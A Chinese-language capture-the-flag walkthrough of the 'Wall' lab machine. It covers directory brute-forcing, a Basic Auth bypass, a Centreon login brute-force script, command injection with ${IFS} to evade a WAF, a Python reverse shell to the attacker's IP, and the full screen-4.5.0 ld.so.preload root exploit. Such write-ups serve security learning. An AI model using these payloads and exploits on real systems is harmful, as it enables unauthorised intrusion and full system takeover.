这台机器比较有意思,正如名字 有一道“墙”。有趣的是这台机器的CMS CVE和机器的作者是同一个人。
作者尽量写出自己在遇到问题的时候碰到的坑 以及做了什么尝试和思路。

攻击机:官方Kali linux 2019 64位
作者:Ikonw

靶机介绍

a

一,端口扫描

a
正常的nmap端口扫描 没有太多信息。 22 SSH 和端口 80 web 服务

二,网页目录爆破

我比较喜欢用gobuster,来进行目录爆破。如果没有 请自行安装

sudo apt-get install gobuster
1

我常用的字典是用 directory-list-2.3-medium.txt
找到目录 /monitoring

a
发现有个HTTP基础认证(HTTP Basic Authentication)
a

三,对基础认证进行试验

由于gobuster 没有扫到什么其他目录,于是我把目标放在这基础认证。 首先我尝试是否可以hydra 来进行爆破密码。

hydra -l admin -P Most-Popular-Letter-Passes.txt 10.10.10.157 http-get /monitoring -t 30
1

如何使用hydra 我就不仔细教学了,这里有一篇很好的文章讲解各种hydra 选项
传送门

a
hydra跑完后 我还是没有拿到密码。于是我把 http-get 换成 http-post 尝试

hydra -l admin -P Most-Popular-Letter-Passes.txt 10.10.10.157 http-post /monitoring -t 30
1

有意思的是居然每一个密码都能通过。
a
现在我们可以尝试使用burp suite更改请求。从GET换去POST。然后我们被跳转到 /centreon

a
这里简单的抓包下看 登陆的过程。 有ANTI-CSRF TOKEN所以没办法爆破。我们从登陆页面发现centreon 版本为 v.19.04.0

a
edb链接

四,修改Exploit

先来聊聊这个exploit 的 python文件都干了什么。
这个exploit 有两个部分,一个是登陆 一个是利用了命令注入

登陆的部分利用beautiful soup来抓去页面的 token。
然后利用提供的API进行登陆。
那么有意思的地方就在这里
我们是不是可以稍微修改下 让这部分变成密码爆破。
a
这里默认帐号是 admin 密码字典为 rockyou.txt

import requests
import sys
import warnings
from bs4 import BeautifulSoup

with open("/usr/share/wordlists/rockyou.txt","r") as dict:
for password in dict:
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get("http://10.10.10.157/centreon"+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
login_info = {
"useralias": "admin",
"password": password.strip(),
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post("http://10.10.10.157/centreon"+"/index.php", login_info)
print(login_info)
if "Your credentials are incorrect." not in login_request.text:
print("[+] Crackedddddddddddddddddd password = {0}".format(password.strip()))
break

12345678910111213141516171819202122232425

执行后大约过了十几秒 我们成功取得密码(这密码也太弱了)
admin:password1

a

五,绕过WAF

现在我们有了密码和帐号,我可以来实验看看原版的POC能不能让我们直接取得Shell。

python 47069.py http://10.10.10.157/centreon admin password1 10.10.14.22 443
nc -nvlp 443
12

a
一点动静都没有!没事 让我们仔细读读第二个部分的命令注入 我们可以手动注入命令!

从exploit 上可以得知 nagios_bin 这选项可以让我们直接执行远程命令

想更了解这个Exploit形成的可以看作者的帖子

传送门
a
访问URL后并且用burp suite抓包 然后 ctrl+r 发去repeater
手动进行更换 一般遇上可以远程执行命令的问题时
可以尝试用ping wget curl 来判断是否可以远程执行。
因为这些命令都会与本地进行交互 并且可以查询到记录。

a

首先 先测试能不能ping
nagios_bin=ping+10.10.14.12(自己KALI的IP)
然后在本地上开启tcpdump来监听ICMP
用 -i 来选择监听的interface

tcpdump -i tun0 icmp
1

a
搭建好环境后 选择send,结果却是forbidden 403。无法访问,这里就是“墙” 出现的地方了。

a
这时候我们可以手动到页面进行测试,从a~z 然后各种符号。
最终发现任何字母都没问题,除了 空格会触发 403 forbidden。
我们可以用 ${IFS} 来代替空格。

a
结果tcpdump 还是没有任何结果。没关系,为了更进一步实验 我们可以尝试 wget。
打开一个web 服务(可以使用service apache2 start 或者 python3 -m http.server 80)

“nagios_bin”: “wget${IFS}10.10.14.12”

我们成功从发现了 log 里面返回了 wall 向本地抓去index.php
证实了 命令注入可以
a
经过一番折腾, 上传了各种php,bash shell。只有python shell可以使用
上传后,利用python 执行 python shell文件。

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.12",443)) //替换这里成你的ip和端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")

1234567891011

a

六,提权

提权相对容易发现。
首先查看 SUID文件。
发现可疑的 screen-4.5.0

find / -perm -4000 2>/dev/null
1

a
谷歌一下 发现了提权漏洞

传送门

个人习惯看到这种需要编译的漏洞都喜欢在本地编译好了再传输过去。直接执行这文件会出现未知错误。保险起见 我们手动把操作

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!/n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "/x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
123456789101112131415161718192021222324252627282930313233343536

手动操作好后 会出现两个文件
a

利用wget 传输到 /tmp
然后

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "/x0a/tmp/libhax.so"
然后执行 /tmp/rootshell
1234

a




root